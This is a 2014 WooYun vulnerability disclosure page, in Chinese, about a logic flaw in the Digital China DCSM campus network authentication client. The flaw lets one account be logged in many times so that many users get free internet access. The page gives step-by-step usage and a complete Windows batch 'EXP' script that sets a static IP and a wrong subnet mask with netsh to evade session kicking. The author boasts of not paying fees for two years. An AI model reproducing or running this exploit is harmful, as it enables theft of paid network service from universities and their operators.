当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074693

漏洞标题：神州数码认证客户端可大范围一号多登免费上网影响上百家高校（附EXP）

相关厂商：digitalchina.com

漏洞作者： 1fn0

提交时间：2014-09-02 15:18

修复时间：2014-11-28 15:20

公开时间：2014-11-28 15:20

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-02： 细节已通知厂商并且等待厂商处理中
2014-09-07： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-11-01： 细节向核心白帽子及相关领域专家公开
2014-11-11： 细节向普通白帽子公开
2014-11-21： 细节向实习白帽子公开
2014-11-28： 细节向公众公开

简要描述：

神州数码DCSM认证客户端可大范围一号多登，通用型bug，稳定0day，不是网上传的方式，两年没交过网费的大学狗路过。附带利用EXP文件：>

详细说明：

1.神州数码认证客户端 在下线的时候 踢掉的只是ip！而不是！终端id 更不是学号！
2.神州数码认证客户端存在0day 假设把子网掩码设置为一个错误的子网掩码 ip设置为固定默认的静态ip使得无法获得正确的内网ip 那么神州数码客户端在 踢掉同时登陆的账户时无法找到你的ip 就会默认认为该用户已经被踢掉了 即可立即实现一号多等。
exp使用方法：
第一步：
首先你必须要有一个能正常登录的账户密码，然后使用该账户正常登录一次，登陆成功后
第二步：
运行exp，按照提示进行设置，目标是把子网掩码设置成错误的即可。
第三步：
在别人的计算机开始循环重复第一步第二步。
大范围应用结果：
同一账号在同一时间共享给全班30人左右使用网速不变。
缺点：
由于未能获取正确的内网ip，导致失去内网资源。

漏洞证明：

exp文件
dcsm一号多登录1.3.bat

@echo off 
cls 
color 9f
mode con: cols=80 lines=35
title ID Sharing EXP For CSUST
::Bug is found by @1fn0
::EXP is written by @zero @1fn0
::version：1.3
:config
::set IP=10.2.26.32
set MASK=255.0.0.0 
set NAME="本地连接" 
:Select
echo.
echo   ============================ID Sharing EXP For Csust========================
echo.
echo   请以管理员身份运行
echo   注意破解方式会导致失去内网，需要内网请还原
echo.
echo   ============================================================================
echo.
echo     还原请按 1
echo     破解请按 2
echo     退出请按 3  
echo.
set /p KEY=   您的选择是（输入序号）：
if %KEY% == 1 goto ONE 
if %KEY% == 2 goto TWO
if %KEY% == 3 goto END
goto Select
:ONE 
cls
netsh interface ip set address %NAME% dhcp 
netsh interface ip set dns %NAME% dhcp 
echo 还原成功！
goto END
:TWO 
cls
echo.
echo 你的所有内网IP地址:
ipconfig | find /I "IPv4"
echo.
echo 你的网络连接的名字:
echo.
     ipconfig | find /I "以太网"
echo.
echo 你的网关:
echo.
ipconfig | find /I "网关"
echo.
set /p IP= 您的ip是（输入10.X.X.X那一个）：
set /p NAME= 网络连接的名字（一般电脑为本地连接，部分电脑为以太网）：
set /p GATEWAY= 请输入网关地址（前三位ip相同，以上面信息为准）：
cls
echo 破解中...
netsh interface ip set address %NAME% static %IP% %MASK% %GATEWAY% 
netsh interface ip set dns %NAME% static 114.114.114.114
echo 破解成功！
goto END
:END
echo 请按任意键退出
pause>nul
exit

修复方案：

你懂的。

版权声明：转载请注明来源 1fn0@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-28 15:20

厂商回复：

最新状态：

暂无